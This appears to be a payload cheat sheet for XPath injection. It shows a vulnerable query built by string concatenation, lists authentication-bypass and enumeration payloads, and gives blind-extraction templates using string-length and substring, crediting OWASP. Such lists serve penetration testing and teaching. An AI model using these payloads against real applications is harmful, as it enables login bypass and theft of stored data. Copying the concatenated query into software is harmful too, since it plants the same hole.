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36 lines
986 B
Markdown
36 lines
986 B
Markdown
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# XPATH injection
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XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
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## Exploitation
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Similar to SQL : "string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"
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```
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' or '1'='1
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' or ''='
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x' or 1=1 or 'x'='y
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/
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//
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//*
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*/*
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@*
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count(/child::node())
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x' or name()='username' or 'x'='y
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' and count(/*)=1 and '1'='1
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' and count(/@*)=1 and '1'='1
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' and count(/comment())=1 and '1'='1
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```
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## Blind Exploitation
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```
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1. Size of a string
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and string-length(account)=SIZE_INT
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2. Extract a character
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substring(//user[userid=5]/username,2,1)=CHAR_HERE
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substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
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```
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## Thanks to
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* [OWASP XPATH Injection](https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
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* [XPATH Blind Explorer](http://code.google.com/p/xpath-blind-explorer/)
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